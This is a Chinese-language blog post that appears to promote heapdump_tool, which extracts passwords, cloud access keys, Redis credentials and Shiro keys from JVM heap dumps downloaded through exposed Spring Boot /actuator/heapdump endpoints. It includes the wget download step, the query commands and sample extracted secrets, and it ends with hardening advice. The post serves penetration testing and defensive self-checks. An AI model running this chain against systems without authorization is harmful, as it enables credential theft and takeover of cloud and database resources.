title: "heapdump_tool — 一行命令,Spring Boot 堆文件中捞出数据库密码"
date: 2026-05-18
categories: [安全工具, 渗透测试]
tags: [heapdump, Spring Boot, 信息泄露, 密码提取]
image: heapdump_demo.png
💣 heapdump_tool — 从 JVM 堆转储中提取你的数据库密码
前言
在 Spring Boot 应用的渗透测试中,有一个非常经典的信息泄露链条:
发现 /actuator → 发现 /actuator/heapdump → 下载堆文件 → 提取明文密码
很多企业的 Spring Boot 应用暴露了 heapdump 端点却没有做任何访问控制,导致攻击者可以直接下载完整的 JVM 堆转储文件。而堆文件中,往往包含:
- 数据库连接密码(明文!)
- Redis 密码
- 阿里云 AccessKey / SecretKey
- 内部 API Token
- Shiro key(可进一步反序列化利用)
- HTTPS 证书密钥
这就是今天要介绍的工具 —— heapdump_tool 的用武之地。
工具简介
heapdump_tool 由安全研究员 wyzxxz 开发,是一个基于 jhat 的 JVM 堆转储分析工具:
它不依赖任何 GUI,一行命令就能从 GB 级别的堆文件中精准提取敏感信息。
![图片[1]-heapdump_tool — 从 JVM 堆转储中提取你的数据库密码-吾要学习 - 安全审计 / 漏洞复现 / AI 安全工具](file://D:%5Ctools%5Cspringboot-pentest%5Cheapdump_demo.png?msec=1779083364876)
🎯 典型攻击场景
1. 访问 http://target/actuator
发现 heapdump 端点可访问
2. 下载堆文件
wget http://target/actuator/heapdump -O heapdump.6
3. 用工具提取密码
java -jar heapdump_tool.jar heapdump.6
4. 输入 keyword 搜索 → ⚡ 密码当场到手!
✨ 支持的查询方式
heapdump_tool 提供了极其灵活的查询语法:
| 查询方式 | 示例 | 用途 |
|---|---|---|
| 关键词搜索 | password |
直接搜索含”password”的字符串 |
| 关键词搜索 | accessKey |
搜索阿里云 AccessKey |
| 关键词搜索 | secret |
搜索密钥信息 |
| 正则搜索 | re=\d{3,} |
自定义正则匹配 |
| 字符长度 | len=16 |
获取所有长度为16的值(如 Token) |
| 按序获取 | num=1-100 |
查看前100条记录 |
| Class 搜索 | class=shiro.web.mgt |
分析 Shiro RememberMe 配置 |
| Class 搜索 | class=redis |
提取 Redis 连接信息 |
| Shiro Key | shirokey |
自动识别 Shiro 密钥 |
| URL 提取 | geturl |
提取所有字符串中的 URL |
| IP 提取 | getip |
提取所有 IP 地址 |
| 系统属性 | systemproperties |
读取 JVM 系统属性 |
| Hashtable | hashtable |
读取完整的 Hashtable 数据 |
💡 新版本还支持
all=true显示所有非 K-V 格式的数据,方便全面排查。
🔥 实战演示
假设通过信息收集,你已经获取了一个 Spring Boot 应用的堆转储文件 heapdump.6:
$ java -jar heapdump_tool.jar heapdump.6
提取数据库密码
>>> spring.datasource.password
>> spring.datasource.password → test@wyzxxz
直接命中!数据库密码明文展示,无需任何解密。
提取阿里云密钥
>>> accesskey
>> accessKey → LTAI**************
>> secretKey → 6Yi********************
有了 AccessKey + SecretKey,攻击者可以直接接管你的阿里云资源。
提取 Shiro Key
>>> shirokey
>> kPH+bIxk5D2deZiIxcaaaA==
拿到 Shiro Key 后,可进一步构造反序列化攻击链,实现远程命令执行。
Class 深度分析
>>> class=shiro.web.mgt
→ CookieRememberMeManager
→ AesCipherService (keySize=128, mode=CBC)
→ encryptionCipherKey → [EXTRACTED]
→ decryptionCipherKey → [EXTRACTED]
直接看到 RememberMe Cookie 的加密密钥,攻击者可以伪造任意用户身份。
>>> class=redis
→ RedisServer: redis://10.0.0.5:6379
→ password: Redis@2024!Secret
Redis 服务器的地址和密码也一览无余,如果 Redis 同时暴露在公网,后果不堪设想。
🚀 安装使用
前提
需要安装 JDK 1.8+(因为底层依赖 jhat 命令解析堆文件)
# 验证 jhat 是否可用
jhat -version
下载 JAR
从 GitHub 仓库获取最新版 JAR:
git clone https://github.com/wyzxxz/heapdump_tool.git
cd heapdump_tool
# JAR 文件可从飞寄盘下载(见仓库 README)
使用
# 基本用法
java -jar heapdump_tool.jar <heapdump文件路径>
# 例如
java -jar heapdump_tool.jar heapdump.6
工具启动后会先解析堆文件,然后进入交互式查询模式,直接输入关键词即可。
⚠️ 防护建议
如果你的 Spring Boot 应用需要暴露 Actuator 端点,请务必:
- 关闭 heapdump 端点:
management.endpoints.web.exposure.exclude=heapdump - 或添加访问控制:结合 Spring Security 限制 actuator 路径只能内网访问
- 敏感数据脱敏:不要在配置文件中存放明文密码,使用加密存储 + 密钥管理服务(如阿里云 KMS、Vault)
- 定期审核:检查生产环境是否无意识暴露了 actuator 端点
总结
heapdump_tool 最可怕的地方在于——不需要任何技术门槛。只要你能下载到一个堆文件,一句 java -jar 加一个关键词搜索,所有密码就摆在你面前。
对于企业安全团队而言,建议立刻自查:
- 你的 Spring Boot 应用有没有暴露
/actuator/heapdump? - 用 heapdump_tool 测一下,看看能捞出什么”惊喜”。
传送门: https://github.com/wyzxxz/heapdump_tool
本文仅用于技术安全研究,请勿用于非法用途。请务必在合法授权范围内使用。











暂无评论内容